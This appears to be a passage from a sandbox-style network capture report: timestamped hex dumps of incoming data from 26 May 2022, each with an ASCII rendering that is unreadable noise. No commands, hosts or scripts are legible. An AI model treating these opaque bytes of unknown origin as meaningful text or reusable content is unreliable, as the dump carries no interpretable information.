2a d2 f0 df 83 67 d7 3c 0f 77 3e 99 ad 43 73 e2 f9 6e e6 9d b4 f9 d7 e6 b8 85 b8 6e fb 7f 1e a7 ee e3 bd 61 19 3a 54 d4 
a6 b9 5b df fe 1f a0 d5 dc 6c 8e 7a cf c1 91 45 e1 58 b5 83 75 a5 cb 67 79 73 e5 db 2b 5d fe fe 34 c8 f9 8a 76 cf cc bc 9e 
7d 2b e8 0d 17 45 d1 bf e1 34 d3 35 0d 73 c3 ea b1 5c e9 72 41 24 16 8c 8a d2 2e 00 49 11 33 91 b1 70 7b 0f bb cd 7c c5 
a7 fc 3b d6 bc 45 a8 41 70 ba 1d de 9e ab 28 8d a3 58 dd 55 59 06 5b a8 e3 d3 35 d3 6a 9a f6 bb 7d ac 4f a8 fd 8d ac ee 
a7 54 b1 89 6e 58 ae e4 19 c6 73 f3 1f 7f c3 d2 
Data Ascii: Ev]/&sm*vTPy#R?+m<a-2Y#ka*g<w>Csnna:T[lzEXugys+]4v}+E45s\rA$.I3p{|;EAp(XUY[5j}OTnXs

2022-05-26 11:46:49 UTC 5562 IN Data Raw: fc 89 bb d1 9a 9d 3c 54 ac ed a1 bd 38 f3 ca 29 ec 77 1e 00 f1 17 85 34 bb cb ed 4f 54 b9 8d b4 8d cb a7 d9 
58 b5 b6 ef 31 d2 13 99 c7 52 1d 76 a6 d6 38 cf cd de bc 1f 5a d7 ec 74 fd 5a 73 1e 90 b2 d8 34 a5 23 9e e5 8b ba a1 c1 
52 07 0a 46 19 70 b8 af b1 fc 37 e0 1f 07 6a de 15 82 7f ec cb eb e8 22 54 b6 96 25 58 d1 ae 1b 63 b2 c8 59 80 c0 2f bd 
83 0e cd 8e d5 e3 5e 1b f8 15 a9 5e 78 b3 4c d2 3c 48 d1 e9 fa 7b 5a 3d cc 13 47 24 6e b7 0e bb 02 c3 83 95 1b d0 71 dc 
7c b5 e5 50 cc e8 37 39 cb 4b 74 6f b2 36 a9 51 d4 82 6f a3 67 1b e0 9f 05 e9 de 2b d2 d5 d3 53 6b cd 59 e3 99 ad 2d 2c 
7e ea b0 1f 28 0a 00 f9 87 65 38 ae 6a 3b 08 52 18 12 26 93 75 ba ee 97 72 8f 99 ca 74 c7 15 ec 3a 27 81 e5 f8 6b f1 0b 
c4 77 12 ea 72 68 7a 5c 0b 14 90 79 98 56 93 7c 81 e3 8d 
Data Ascii: <T8)w4OTX1Rv8ZtZs4#RFp7j"T%XcY/^^xL<H{Z=G$nq|P79Kto6Qog+SkY-,~(e8j;R&urt:'kwrhz\yV|

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 5578 IN Data Raw: 8d e6 b2 9b c1 77 fa 27 89 3c b9 da ee f1 ac f4 84 d4 3e dd f6 b0 d1 2d f4 b1 bf 90 76 ff 00 b0 59 99 7f da 41 
5a d3 c4 73 53 8c 24 ed 66 db bf f5 de ec 27 1e 6b 58 f9 f9 2e bc 29 6b e2 ab 1f b0 aa b5 ba c7 e4 2c f2 2e eb 65 98 61 
44 88 dd 4a 2b 2f 39 ec 6b a3 f0 1e a9 a8 f8 57 c4 56 76 f7 2d f6 e6 bc 95 e3 92 09 d8 3a c6 b9 d9 92 47 51 f3 62 b7 fc 23 
f0 4b 4c d1 3c 49 e1 75 b0 9d ae 44 69 24 7a b5 83 46 db 37 93 e6 a4 81 9b f8 b6 32 6e 5e 98 db ea 71 ed da 2f c3 fd 07 
c3 f6 37 3a d5 be 9f 1d b3 eb 5a 7b 44 d7 3f 79 a6 c3 95 9b 0c 7f d5 6c 3d bd f6 fa 56 f8 bc 45 28 a7 18 de 49 a3 35 17 73 
c6 2d fc 37 65 71 33 6a 3a a3 7f 68 6a 37 52 43 24 0b 69 19 56 67 31 fe ee 26 19 38 40 cb c8 eb f2 1e 79 ae 82 c3 50 8b 
5c f1 24 f2 26 eb 1f 13 69 57 ab 6d 73 6d 1b 6f 
Data Ascii: w'<>-vYAZsS$f'kX.)k,.eaDJ+/9kWVv-:GQb#KL<IuDi$zF72n^q/7:Z{D?yl=VE(I5s-7eq3j:hj7RC$iVg1&8
@yP\$&iWmsmo

2022-05-26 11:46:49 UTC 5586 IN Data Raw: a5 f5 dc 8b 69 69 02 85 65 51 f7 a4 8f d1 f9 e1 bf 2e b5 e9 9a 6f 8c 3c 9b 78 b4 88 ee 5b 4a b3 f2 cc 56 cb 73 
26 d5 5d bd 44 9b 70 71 d8 74 15 e1 56 d6 f2 5b b4 bf da 31 5c db 45 6d 2f da d6 75 93 ca 55 db f7 02 9e e4 e0 1e 0f b7 
35 2e b5 f1 03 c4 fe 2e d5 35 e8 34 cb 36 f2 6c e3 fb 6c f7 d1 28 64 b7 84 a0 62 cc fd fa 8e 2b c9 c5 73 e2 2a fb af 4f c1 
7a 1c 98 da bd 22 ee 75 f7 ff 00 12 86 95 ad 41 06 a9 67 69 a8 69 2d 1e d6 82 38 c7 cd 8c 93 d3 9e a7 bd 65 db f8 f3 c6 
fe 30 f0 ee b5 a8 c1 e5 de 3f 9a 2d 34 fd 2e 05 11 45 6a 83 1c a4 79 1b dc 9e 8c 41 e8 dd 33 8a e2 34 5f 07 eb 1a df 87 
f5 7b 89 7c 42 b0 5e 40 a9 2c 6b 24 7b 5e 4e 46 42 1c ed c9 f9 71 92 33 8a d7 8e 71 e0 bb 1b 18 f5 1b cd 42 db 57 96 43 
14 4d 6d 1b ef 8d c8 2c 01 20 95 5c 92 79 a9 e5 54 
Data Ascii: iieQ.o<x[JVs&]DpqtV[1\Em/uU5..546ll(db+s*Oz"uAgii-8e0?-4.EjyA34_{|B^@,k${^NFBq3qBWCMm, \yT

2022-05-26 11:46:49 UTC 5602 IN Data Raw: be 8e db cd 92 35 39 da ce 17 fb dd 80 c7 f1 73 c5 49 1f 8a ae 7c 41 79 3e 9f a5 c5 1b 79 fb a7 56 92 32 de 74 
6a 07 2a a7 25 17 f8 80 ce 7b d7 cc 62 23 5d d4 72 bb 4f bf 4b 1f 25 88 af 3a 92 bc d1 87 e2 a5 83 c0 ad a9 e9 56 53 c6 
cb 24 5b 60 82 d9 4a a4 2e 49 dd 23 00 7e ee cc f6 c7 7a c6 f0 a6 9e 90 68 ba e5 b7 89 5a 49 55 b1 2b 41 22 f9 b3 ab 8e 
7c a2 bf 29 20 f0 46 0d 77 36 3a 5e 85 a7 d9 df 19 56 0d 5f 51 76 0d 2c 9e 62 a2 35 bf 60 4e 4b 6c 1b b9 c7 f7 7b d7 21 
e2 4d 52 db c6 52 4b 71 67 2c 1a 7d ac 11 a5 b4 93 b6 f6 79 9c 72 aa a4 9e 49 55 c1 f6 cd 75 e1 e5 cc f9 57 5b 5d 91 4a 
dc c9 be 9d 0a 3e 3a b4 d1 a3 f0 6f 87 3f b3 ee 74 d8 25 91 a6 bb 68 17 ef 48 8e e1 16 31 bb 24 30 5f 53 d4 31 ac 6b 5d 
07 55 f1 16 9e da 2d be eb 68 2d 9b ed 31 37 90 52 55 
Data Ascii: 59sI|Ay>yV2tj*%{b#]rOK%:VS$[`J.I#~zhZIU+A"|) Fw6:^V_Qv,b5`NKl{!MRRKqg,}yrIUuW[]J>:o?t%hH
1$0_S1k]U-h-17RU

2022-05-26 11:46:49 UTC 5618 IN Data Raw: 00 a9 52 31 59 3e 2e f0 0c 3f 10 2d f5 7d 6f 46 b3 fb 0d d4 9f e9 df 64 b6 b6 fd d7 03 e7 68 fb f3 82 4a 0f ef 67 
a0 35 95 0e 97 65 75 24 56 91 7d 9a 76 b7 97 cd b1 83 69 d9 db 2a 54 64 90 76 e7 de bd 23 4b f1 d2 78 7e ce 7b 9f ec ff 
00 b3 6a 30 5d ee 58 e3 f9 62 92 46 1b 84 6a 18 96 54 c0 3c 81 d7 03 3c d7 24 ad 87 92 a9 41 59 bd f6 fc 7f ad 0d 35 6a 
cc f3 cd 5b 49 b7 d7 bc 3f a7 de f9 4d 73 71 67 62 60 96 38 14 79 f1 ec 90 ed 97 6f 56 40 a7 69 c7 40 33 54 6d be 1d 5f 
5c ea 96 7f d9 57 2d f6 26 5f 32 4b c6 ff 00 96 7f de 0b 8e e1 7f 98 15 eb 9a 0f c4 2d 03 4b 92 db 5c d4 7c 19 68 b6 b3 cf 
b9 ae ec 6e 64 8a 78 dc a7 ce 46 73 b5 81 e8 3d 6b d0 3e 1e fc 1d f0 97 88 a6 5d 76 49 75 0d 32 29 6e e4 96 d9 6e 60 
74 b6 8d b2 59 0c b1 e4 29 1b 82 65 54 80 dd 31 5d 
Data Ascii: R1Y>.?-}oFdhJg5eu$V}vi*Tdv#Kx~{j0]XbFjT<<$AY5j[I?Msqgb`8yoV@i@3Tm_\W-&_2K-K\|hndxFs=k>]v
Iu2)nn`tY)eT1]

2022-05-26 11:46:49 UTC 5626 IN Data Raw: b0 37 7d dc 1e 73 5c 30 55 24 d3 94 6f 1e af e7 bf a9 d7 52 b2 70 e5 5d 08 ac 35 ed 3f 4f f1 25 a4 76 cb 69 79 
f6 16 f3 6d bc 85 28 cc ed 09 c1 cf 3c af 4e 39 cf 35 eb 0d ae 6b be 1e d2 74 cb 08 20 93 5e b8 ba b4 7b b9 da 45 de d6 
f2 14 0d e5 20 1d 5c 9e 14 7a d7 86 b7 87 cf 87 bc 59 6b b1 9b 4f b2 d3 6e 51 60 d5 ad 98 4f 15 d3 30 0a 42 7f 78 6f ea 
71 d1 ab d6 f5 af 14 6a 9e 19 6d 4b c4 76 96 3a 7d b4 13 c4 1a 18 d5 8a b4 d7 2e f1 83 b0 7f 12 87 dc 78 ed 8a cf 11 05 
ee a8 eb 7f eb 72 23 65 17 a9 85 a1 6a 9e 22 d3 f4 dd 06 e3 55 96 ef 43 9f 50 d4 8e 9b 65 73 77 6c 59 a3 7c 94 dc e0 8f 
91 5c 36 c2 c7 bd 70 fe 38 f1 77 8a 6c 7c 5d a8 4b 7f 2d 8d 8f 99 1f 99 1f 96 a1 1d 63 43 b9 37 77 66 21 95 86 78 1b ab 
b6 f8 89 6b e3 0d 6b c2 3a 79 8b 50 8f fb 36 c6 e5 e5 
Data Ascii: 7}s\0U$oRp]5?O%viym(<N95kt ^{E \zYkOnQ`O0BxoqjmKv:}.xr#ej"UCPeswlY|\6p8wl|]K-cC7wf!xkk:yP6

2022-05-26 11:46:49 UTC 5642 IN Data Raw: 37 a5 51 d2 64 d6 ec d6 0f 0f dc 4f 6c ba 44 ac 25 b1 9d a3 2c d1 95 25 1e 0e bf dc 6c fb d7 cd ba 3f 8b 6e f4 
6d 6a ce f7 c2 9a 9f fa 7c 0a 7c cf 3d b7 26 d5 39 1c 11 cd 77 1e 28 f8 cc f7 fa 4b 1b 79 fe dd 71 3a c7 72 de 5a 9d f6 b7 
18 28 c4 1c fd d1 f4 ef ed 5f 3b 3c 05 58 cb 96 3a a7 f7 a2 63 1b 24 7a e7 86 3e 2c 41 ad 78 f3 c4 3a 59 db 6d e6 e9 1e 
6c 10 5c ae e5 59 14 1e 46 7a e5 3f 90 ac 8d 3f 55 b6 f0 de 9f 3e a6 67 8e e5 20 b4 86 36 f2 14 45 2f df 23 71 41 90 58 
27 04 f7 eb 5c 37 c2 df 12 69 fe 24 9a 7d 42 e2 09 24 b7 58 fc 86 66 94 22 59 a2 47 82 ce 40 0c f9 72 3a 1e 8c 7a d7 41 
a9 5b e9 fa 95 9c 17 f7 1a 9c 73 b7 d9 3c b6 93 4f b6 08 cb 27 99 ce 47 3f 26 de f5 8d 4a 31 a7 37 4d ab 2d 2e 5c 8e db 
4b f8 a9 3f 88 2d e0 bb d3 a0 5b 94 92 44 92 38 20 
Data Ascii: 7QdOlD%,%l?nmj||=&9w(Kyq:rZ(_;<X:c$z>,Ax:Yml\YFz??U>g 6E/#qAX'\7i$}B$Xf"YG@r:zA[s<O'G?&J17M-
.\K?-[D8 

2022-05-26 11:46:49 UTC 5658 IN Data Raw: 72 b4 80 ec 1e 81 b0 3a 74 ed 5f 48 7c 19 f8 2a fa 6d e4 ba 86 af 7d 24 ba 6c 6c 56 da 7b 19 0c 12 c3 32 ef db 
8c 1e 48 4d db 87 f0 d7 0e 2e ac 69 5d bd 1b d5 20 84 5c a7 cb dc f9 e6 eb 52 d1 16 f2 28 a0 b1 6b 1b a8 ae de 39 59 5b 
e6 92 32 30 d2 63 b1 1d 71 d2 b0 6e 74 3d 46 3f 09 ae b9 6f a7 5c dc db ec 91 ae a4 b6 fb 9b 23 99 23 7c e3 a1 dd 2c 5f 
f7 dd 7d 25 e2 2f d9 de d7 c5 97 17 3a a5 a6 a1 1d ce a7 2d f9 8a e6 d3 fe 7d 44 a4 be 47 7e bb bf a5 73 5e 30 b2 d5 7e 
1d 7c 33 ff 00 84 77 c3 57 77 37 32 c5 7b 24 53 c8 b1 85 65 49 1f b3 38 e3 e6 db 9f 7e f5 95 2c 6d 3b c6 34 f5 6d ad df 4f 
52 dc 54 75 e8 65 7c 1e f8 73 1f 8b bc 1b 06 a3 a5 cf fd 90 97 d6 cf 67 72 b3 7d d9 9d 26 46 42 06 7e f9 d9 b4 e6 b9 3b 
bb fd 42 c7 5c d4 f4 8b 78 24 8a de 34 9a 28 96 3f 
Data Ascii: r:t_H|*m}$llV{2HM.i] \R(k9Y[20cqnt=F?o\##|,_}%/:-}DG~s^0~|3wWw72{$SeI8~,m;4mORTue|sgr}&FB~;B\x$4(?

2022-05-26 11:46:49 UTC 5666 IN Data Raw: 2f fc 07 06 b1 e2 3b 9b 9d 2a ea 4b ed d6 5e 5c 1e 53 b4 67 ef 6d e7 8d d8 e3 1f dd a9 f5 cd 36 e6 6d 73 c5 
5a 06 9f e1 ab ed 2b 56 d4 e3 12 4f 7c d7 29 e5 5e 6c f9 d6 64 8f e5 e4 2a bb 15 07 8f 4c d5 af 87 5f 06 e7 ba f0 ee 9f 69 
63 a7 df 4f ad 4b e7 ce ba b5 cc e1 a2 86 f6 2c ed 25 70 7f d1 d9 4e 08 c6 e1 bf 8e 6b cf 93 a3 1a 71 6a d0 da dd 5b 56 
ef 7f 97 51 3a 2f 7e 87 94 f8 db 4f b8 f0 f4 96 6f 3c f3 4f 65 7c 85 ec 75 09 24 de f2 22 3e d6 c1 1c 82 1b f8 4f 3f 9d 47 1f 
82 67 f1 6f 85 f5 5d 62 ce 26 83 ec 72 46 ad 7d 3c 87 f7 ce c4 03 1b 1e df 29 af 6e f0 4c 96 7a f5 c7 88 7c 19 7f a7 f9 1a 
dc 17 3f da 5a 33 33 18 b7 5c a8 f9 d1 5b b0 62 a0 2f 6f 9b 9a e9 b4 8f 84 31 f8 8b c2 fa 46 af a1 e9 fa 7a df da dc a5 ec 
b1 c0 bb a2 bc 84 c8 03 19 23 6e 0b 85 46 
Data Ascii: /;*K^\Sgm6msZ+VO|)^ld*L_icOK,%pNkqj[VQ:/~Oo<Oe|u$">O?Ggo]b&rF}<)nLz|?Z33\[b/o1Fz#nF

2022-05-26 11:46:49 UTC 5682 IN Data Raw: b4 29 3f ea 8f cc 72 8f b8 37 a6 df a5 6f eb 5e 15 1f 10 ac 62 bc 95 a4 b9 6d 32 77 f2 ad 16 41 17 97 32 a7 00 
f1 d3 af 1e f5 d2 25 b6 b7 e2 a6 be b7 d4 f5 ad 37 55 9f 77 d9 17 cb f9 7c 98 c9 4d ca 00 19 2e 17 b5 73 cb 15 19 46 dd 7f 
22 d5 47 27 64 8c cd 37 c5 1e 10 d3 75 29 6c 34 bd 3a da db 54 ba 92 14 9d 9a 42 d0 79 c7 20 34 63 a2 b7 3c b6 39 c5 
52 d5 9a f2 4d 1f ed 17 76 32 4f 61 63 fe 97 73 a7 db 67 76 d1 20 72 55 00 c3 8d ab 9c 0e 7a d7 9e f8 d2 da df 4d f1 05 
8f 83 ae 27 d5 3c 2f 75 a9 49 e6 69 ba b2 da 6e 4b c9 18 05 68 b2 30 51 94 f1 9c f0 2b 5b e0 fe b5 ad fc 34 92 73 e3 cd 
4f fb 43 59 6b b5 b2 b2 65 9c b2 c6 0e 72 ac 5f a8 20 fe b5 2e 94 b9 7d a7 35 fc b5 bb f4 fe b4 22 73 4b e2 d1 97 74 9d 1f 
c1 fa ae 8f 79 f6 8f 39 af 6d a5 92 ee 4b 1b 98 1d 
Data Ascii: )?r7o^bm2wA2%7Uw|M.sF"G'd7u)l4:TBy 4c<9RMv2Oacsgv rUzM'</uIinKh0Q+[4sOCYker_ .}5"sKty9mK

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 5952 IN Data Raw: 70 e8 87 1c f5 e6 b9 99 3c 19 ac 36 b0 de 07 bf d5 56 2b f5 b4 f3 e2 9d 5b 72 2b b2 7d d6 c6 7a 8f c7 f3 ae ff 
00 43 f8 13 e2 4d 2f 45 82 da 3b 9b 4b eb 8b 6c 5e da 34 72 15 7f 31 00 c0 04 9c 15 3b 9c b0 ff 00 64 53 9c a9 d3 57 94 
d5 f7 5e 9d 19 9f 2c b9 6c b7 3a 4d 3f c6 1e 1b d2 bc 2f 16 87 e1 cb 36 d7 27 b9 80 cb 2a f9 9b d9 9f 92 33 bc e5 51 58 
6d 5e 79 c5 5b bf f8 43 a1 78 a2 cf cb 69 6c a0 ba be 80 4a cd 34 65 9e 19 31 ba 22 01 3d 37 96 dd c8 cd 71 16 7f 0a 6c 
34 18 74 fd 57 5f 95 a2 75 9e 4f 36 08 e4 30 22 c2 1f f7 7b f8 0c d8 3d 71 fd d5 a8 fe 2e 7c 5d b4 8e ce 28 34 7d 43 ec d3 
c9 69 1b 2a db 29 de cc 5c 8c 06 1f c0 00 c5 72 f2 4a a5 54 b0 ad ea f5 63 53 d3 de 57 67 a5 f8 a3 52 d7 3c 1e da 51 d1 
65 5f ed 2d 45 52 d2 d1 a4 63 e4 59 b2 a1 56 65 6e 
Data Ascii: p<6V+[r+}zCM/E;Kl^4r1;dSW^,l:M?/6'*3QXm^y[CxilJ4e1"=7ql4tW_uO60"{=q.|](4}Ci*)\rJTcSWgR<Qe_-
ERcYVen

2022-05-26 11:46:49 UTC 5959 IN Data Raw: 7f 2e eb c3 ad a4 6a 7a 42 ae b3 22 8f 2e c5 58 33 aa 2f ca 24 4c 74 c1 e7 de b8 7f 16 68 96 f6 7a 3f 87 a6 11 
43 07 9f 77 7c d2 5c c8 db 56 17 db 0b 9f 98 f4 cb 79 86 b1 a3 14 db 8a 76 d5 bf d5 11 cf c8 d5 8f 57 f1 17 87 6c fc 60 d1 
6a f6 d7 92 40 92 69 06 d2 49 e4 6d aa d3 67 1e 73 27 77 0d d6 a0 f0 9e 9a fe 07 d1 65 d5 2e af ad b5 5d 72 0b 69 95 7e 
c9 39 64 65 50 ea 87 e8 54 6e 1e 99 ae 5f e1 df 83 7c 59 1f 86 6e 7f e1 24 b9 9e cf 48 9e 31 73 68 db 83 23 46 e7 3b 41 
cf 5f a8 fc 2a c6 83 ad 78 6f c2 5a 5c 57 be 6c fe 5c f0 cf 16 d6 8c bb c9 b1 1c 6d c7 40 0f 51 59 4b 9a 2d c1 3e 6b 3e 88 
27 7b ab f5 38 7d 37 5c b5 d3 f5 69 3c 7b 25 8e a1 69 ab 35 eb d8 cf 1d cb 6e 89 61 04 79 8c 08 e8 48 2a 4a 8e a5 5a bd 
c7 e3 37 8a a0 b8 f0 9f 81 6c fc 3d a9 ff 00 a2 
Data Ascii: .jzB".X3/$Lthz?Cw|\VyvWl`j@iImgs'we.]ri~9dePTn_|Yn$H1sh#F;A_*xoZ\Wl\m@QYK->k>'{8}7\i<{%i
5nayH*JZ7l=

2022-05-26 11:46:49 UTC 5975 IN Data Raw: 5d b4 5d 2e e9 66 d3 ef be 61 b1 9c 1d db b8 c8 c9 df 9f cf de 8f 13 6b 7e 18 87 fb 43 c2 d6 76 cb e4 40 be 5a 
df 69 ed fe b3 1d d8 f6 20 f0 7d 6b 81 d3 6f dd b7 fc 05 aa 26 4d 46 f6 5a a3 cd 75 ef 19 5d 4d f1 22 34 91 7e c2 ab 3c 8b 
fd a9 06 59 af 03 8f 94 6f 3f 28 03 8e 05 4b 37 8b 21 f1 87 83 5b 42 96 3f 3e e9 af 4c 91 b4 7f 2b 2b 30 c1 39 ed 5b 1a 97 
c0 dd 66 6d 3f c3 f3 e8 9b 75 5b 5b 59 24 5b d8 ee 67 da bb 95 f7 a3 6d f6 c8 43 51 db fc 0f d6 6f ae 35 5f 10 40 b0 32 59 
dd 95 bd b4 b1 6f 9e 16 f9 1c 12 1b f8 4a 9f d2 bd 75 2c 3d a2 d3 d5 7e 8e c4 72 ca ea 4c f4 7d 6f 56 b6 b5 f8 7f a6 68 77 
17 91 de 45 f6 4d d1 c9 76 c7 cd 87 cb 90 b1 5c 0f e3 f9 4a ee 35 a9 e1 bf 84 7a 55 cf 82 ff 00 b4 ed ed a3 b9 bf b1 b9 8e 
fe d9 a4 9c b2 cd c9 3e 5e 3a 60 6e c0 
Data Ascii: ]].fak~Cv@Zi }ko&MFZu]M"4~<Yo?(K7![B?>L++09[fm?u[[Y$[gmCQo5_@2YoJu,=~rL}oVhwEMv\J5zU>^:`n

2022-05-26 11:46:49 UTC 5991 IN Data Raw: 77 d9 dc a7 ce dc ff 00 18 18 af 30 f8 7f e1 9d 57 5a f1 04 f6 7a 7c b6 df bb 80 f9 9b 9b e7 67 03 76 76 f7 e4 
62 b6 6e 35 3f 1b a3 4b a2 eb 3a 46 a1 38 be 8e 3b cb 1b b8 33 b2 45 00 8e 48 fc 3d 0f ca 2b 6f e1 ee cf 0c f8 3f fb 63 52 
b6 fb 35 ec 5a ac 9f 34 90 ed 96 16 50 03 a0 3d 70 c3 69 e7 d6 b7 5c d4 a9 4d b6 a5 29 5b 63 3e 4d 6d 2e a7 40 da e4 bf 
0f 7e 22 69 57 1a 7d f6 a5 3f 84 af 25 9a 2b b9 e4 8f 72 c7 33 8d ac 1c 7f 70 b0 e3 d2 ab ae a7 7f 1f 8d 35 5b b4 9e 38 22 
6d 42 1d 2f 59 b4 8f 32 a4 d6 ee 13 ca 90 fb ed 65 5a 93 e2 03 c5 71 aa 68 7a fe 8f aa af f6 34 92 bd ce a0 ad f3 34 2c 23 
e8 ab d3 69 f9 57 1d 9b 9e e6 bc b3 5e f1 45 de a9 f1 1a e7 53 d0 ef ad 1b 44 92 fa 25 7f 2e d9 ff 00 78 60 60 c3 27 fb c3 
68 c7 b5 4d 1a 52 ac ae b4 76 7f 9f 5f 3f 
Data Ascii: w0WZz|gvvbn5?K:F8;3EH=+o?cR5Z4P=pi\M)[c>Mm.@~"iW}?%+r3p5[8"mB/Y2eZqhz44,#iW^ESD%.x``'hMR
v_?

2022-05-26 11:46:49 UTC 5999 IN Data Raw: f1 f7 a8 68 d3 c9 b5 e3 40 ab 23 85 23 bb 67 02 af f8 6e c3 43 f0 1f 8c 1a db 4b d5 fe d9 e2 0d a6 4d 26 d1 7e 
ef d9 4b e7 cb 27 f8 9c 80 d9 ae b9 46 87 b3 e6 4b 9a 7b f9 7f 48 ce 0a 50 b3 be 83 fc 47 e3 6f 10 78 cb 5e f1 d5 cf 89 ed 
5a 78 1a d3 ec 92 79 79 81 21 b9 b6 ff 00 9e 67 9f 98 9c f2 2a 9f 83 7f 66 3f 0e 78 c6 de e6 fd ee 64 55 be b1 78 b4 bf 32 
e7 72 d9 dc 94 2c b2 4b 8e 5b e7 1f 74 ff 00 85 76 7a dd 8d bf 8b b4 5d 4f cb 9f cb d1 a7 53 fe a1 b6 34 37 32 90 84 af 63 
8d bc fb d6 df c1 cf 87 ba 9f c3 df 0d e9 fa 77 f6 85 ce a1 a4 b4 0f 2a dd ac 63 c8 8e e1 64 3b 8b ff 00 11 ca 77 a9 f6 d5 23
46 52 a0 f9 24 ba 79 1d d4 9c aa 54 e6 7b 2e 87 19 f0 43 c5 1a cd d4 3e 1e f0 d5 ee 95 7d e4 44 a6 3b bd d6 8f e4 33 70 
ea 77 77 05 79 ac 0f 93 e1 af c6 6d 6a 
Data Ascii: h@##gnCKM&~K'FK{HPGox^Zxyy!g*f?xdUx2r,K[tvz]OS472cw*cd;w#FR$yT{.C>}D;3pwwymj

2022-05-26 11:46:49 UTC 6015 IN Data Raw: b9 56 2a ed 0e f2 46 e0 3a 64 7f 09 e8 7a 57 ae e8 fa a5 97 88 b4 3d 0f c5 27 4c 69 57 5c 61 1c 9e 5a fc f6 ad 
22 10 d2 13 dc 12 bd 2b 1c 4f b4 c3 db 4b c2 5d bb ed d7 c9 1d 78 86 9f 2e 87 03 e1 db ef 0d df 78 fa 59 4e 9f 6d a7 de 
a6 c9 6d 35 b8 fe 45 b8 07 63 1c a7 dd ce 7c c1 f4 6a e8 7c 5b 66 90 fc 37 d7 22 d3 74 f9 fe cf 67 77 3d ed 85 dd 8b 7c 
eb 31 3b 9b 1e c7 73 2d 75 da ae 83 a3 c7 7d ad 0f 18 4f 63 a8 41 3d 90 b6 d3 e4 b4 8f ca 58 56 3d e4 fc bf df e9 96 af 
16 f8 3b e2 89 61 6d 57 43 4d 43 75 94 97 65 96 d3 54 6f e0 6e 48 c9 f4 db d2 b8 ec ea c3 db 45 fc 36 ba df 63 8e 52 6e 
69 26 61 7e cc bf 12 34 cb af 11 2e 89 a8 af da f7 5c c3 77 04 f7 73 16 9d 70 3e 78 d7 3d 58 9d b8 fa 57 be 78 8a 3f 03 f8 
e7 c4 0d a7 dd ac 6d 7b a7 ea 86 7f ec b5 8f ca 6d 
Data Ascii: V*F:dzW='LiW\aZ"+OK]x.xYNmm5Ec|j|[f7"tgw=|1;s-u}OcA=XV=;amWCMCueTonHE6cRni&a~4.\wsp>x=XWx?
m{m

2022-05-26 11:46:49 UTC 6031 IN Data Raw: f4 f5 d8 c8 d0 e4 75 5f 53 df da b8 e7 08 46 3e e4 af 6f ea c6 74 ef 29 d9 fd e7 19 e2 8f 01 fc 30 f1 8e a9 04 71 
d8 ac ba 1c 51 22 f9 cb 39 59 61 b9 70 38 fa 60 7e 75 cb 7c 69 f8 4f a5 78 9f c4 da be bf 26 af 63 a5 58 32 c1 6d 6d 23 7c 
d1 2e c4 44 55 6f a8 fc ab d7 3c 4f e0 3f 0f b7 84 7c 54 9e 18 d2 a3 83 54 ba bb 8e e6 05 6f 95 bc cc 73 18 f4 e7 f0 af 32 
87 e1 9f fc 24 96 ba 1e 87 04 13 f8 86 d7 52 8e 49 2f 7f 78 62 5b 56 5c 1f 34 0c e1 88 2d c0 ae 8c 3d 69 fb b2 8d 46 bc b7 
6b ab f2 ff 00 33 79 d1 7d d5 ae 71 9f 0e bc 0d e0 8f 0c 78 ea 7d 1a 35 d4 35 5d 6f 50 9e de da 3b 3f 2f e4 67 63 f3 8d df 
dd e3 3f 4a d2 f1 44 3a de 93 a8 78 79 b5 4d 2a db 53 d3 a7 b9 7b 9b 9d 37 6e f4 8f 20 c6 d8 0d ea 9d bd 45 77 f7 3e 1f 
8f e1 45 e4 57 7a c4 5f da 37 3a 62 bd 
Data Ascii: u_SF>ot)0qQ"9Yap8`~u|iOx&cX2mm#|.DUo<O?|TTos2$RI/xb[V\4-=iFk3y}qx}55]oP;?/gc?JD:xyM*S{7n 
Ew>EWz_7:b

2022-05-26 11:46:49 UTC 6039 IN Data Raw: 7b 99 7e 22 eb d7 93 d8 5b 5b 6f 82 db cd 92 49 17 e5 5c 0e 00 c7 af ad 54 f8 4a ba fd 8f c5 28 a5 d2 6c 6e e0 
97 c8 79 27 b4 b9 5d ab 1a 9e ff 00 42 2b cf be 11 69 f7 9a 6f c4 6d 23 4a b7 d4 ee 60 69 d9 22 59 23 6d bb 8e f0 4a 9f 
6d b9 af ac 7c 75 6b 71 a7 fc 54 d4 35 8d 2f 50 82 06 6d 13 c8 bd b6 dc 37 c9 81 fc 3e e0 05 fc 6b 83 19 25 85 93 a3 0d 
54 a3 a7 f5 e6 5c 63 1d 1c 99 6d bc 5d 6d e1 1f 17 45 e1 a8 a7 fe cf b5 d4 e0 91 a2 9d 7e 6f 26 e8 00 de 69 ed b7 3f 29 
15 cd fe d4 d7 1a ae 8f 79 e1 cf 14 58 c9 1c 16 5a 7c b2 59 2a dc ae ef b6 6f 5c 49 28 c7 a2 8e fd 49 ae 2f e0 1f c3 33 63 
f1 22 d3 58 f1 2d f7 95 a6 c1 fb fb 38 35 09 36 bb 79 e8 57 76 c3 fc 3b cd 7a 7f c7 ad 3c f8 af c3 7e 23 f0 d5 b4 10 6a f6 f1 
c1 f6 b8 a4 8e 4f 9e d5 95 fb 0f 4c f5 fc 6b 
Data Ascii: {~"[[oI\TJ(lny']B+iom#J`i"Y#mJm|ukqT5/Pm7>k%T\cm]mE~o&i?)yXZ|Y*o\I(I/3c"X-856yWv;z<~#jOLk

2022-05-26 11:46:49 UTC 6055 IN Data Raw: 6f 60 2b e3 eb ed 73 50 b8 bc fb 5c 96 3f bf b9 62 ac cc bf eb 33 c6 e1 f8 57 d2 e5 b2 ab 88 ab 52 bc a5 7b f9 
d9 3f f8 75 f8 91 52 3a 95 af 2c 45 bb 61 60 dd f6 c7 0d 1f 96 db b6 e7 b5 51 76 11 b7 91 04 4c de 53 6c 6f f7 8f 4a b7 65 
1e ab f6 1b e9 6d e0 f3 56 cf 63 36 df 99 a3 dd de ab c7 0b d8 ee 25 be 69 24 0e cd 5f 4d 1b 2d 1b b9 3c a6 d7 84 6d ae 
61 f3 23 7b 6d d7 51 e3 6a b2 fc eb cf 35 e8 ba 47 8e 20 f0 ff 00 87 db 5a 7b 69 17 c4 31 36 db 25 9b ee 46 ad c3 4a 07 
f7 80 e2 b9 cf 86 3a d6 8c b7 57 93 eb 92 c8 d7 1e 59 58 d9 7e 5d d8 e4 67 f1 e2 b8 bf 13 78 9a e6 eb c4 57 3f 6c 9f cf 8a 
